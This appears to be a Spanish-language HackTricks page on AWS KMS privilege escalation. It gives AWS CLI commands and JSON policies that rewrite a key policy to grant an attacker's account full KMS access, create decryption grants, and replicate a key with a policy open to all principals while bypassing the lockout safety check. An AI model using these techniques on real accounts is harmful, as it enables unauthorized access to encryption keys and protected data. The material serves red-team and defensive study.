AWS - KMS Privesc

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Red Team de HackTricks en AWS)!

Otras formas de apoyar a HackTricks:

KMS

Para obtener más información sobre KMS, consulta:

pageAWS - KMS Enum

kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)

Con estos permisos es posible modificar los permisos de acceso a la clave para que pueda ser utilizada por otras cuentas o incluso por cualquier persona:

aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json

policy.json:

{
"Version" : "2012-10-17",
"Id" : "key-consolepolicy-3",
"Statement" : [
{
"Sid" : "Enable IAM User Permissions",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<origin_account>:root"
},
"Action" : "kms:*",
"Resource" : "*"
},
{
"Sid" : "Allow all use",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<attackers_account>:root"
},
"Action" : [ "kms:*" ],
"Resource" : "*"
}
]
}

kms:CreateGrant

Permite a un principal usar una clave de KMS:

aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt

Un permiso solo puede permitir ciertos tipos de operaciones: https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations

Ten en cuenta que puede tomar un par de minutos para que KMS permita al usuario usar la clave después de que se haya generado el permiso. Una vez que haya pasado ese tiempo, el principal puede usar la clave KMS sin necesidad de especificar nada. Sin embargo, si es necesario usar el permiso de inmediato, utiliza un token de permiso (verifica el siguiente código). Para más información lee esto.

# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token

Ten en cuenta que es posible listar los permisos de las claves con:

aws kms list-grants --key-id <value>

kms:CreateKey, kms:ReplicateKey

Con estos permisos es posible replicar una clave KMS habilitada para varias regiones en una región diferente con una política diferente.

Por lo tanto, un atacante podría abusar de esto para obtener un aumento de privilegios en su acceso a la clave y usarla

aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

kms:Decrypt

Este permiso permite usar una clave para descifrar cierta información. Para más información, consulta:

pageAWS - KMS Post Exploitation
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización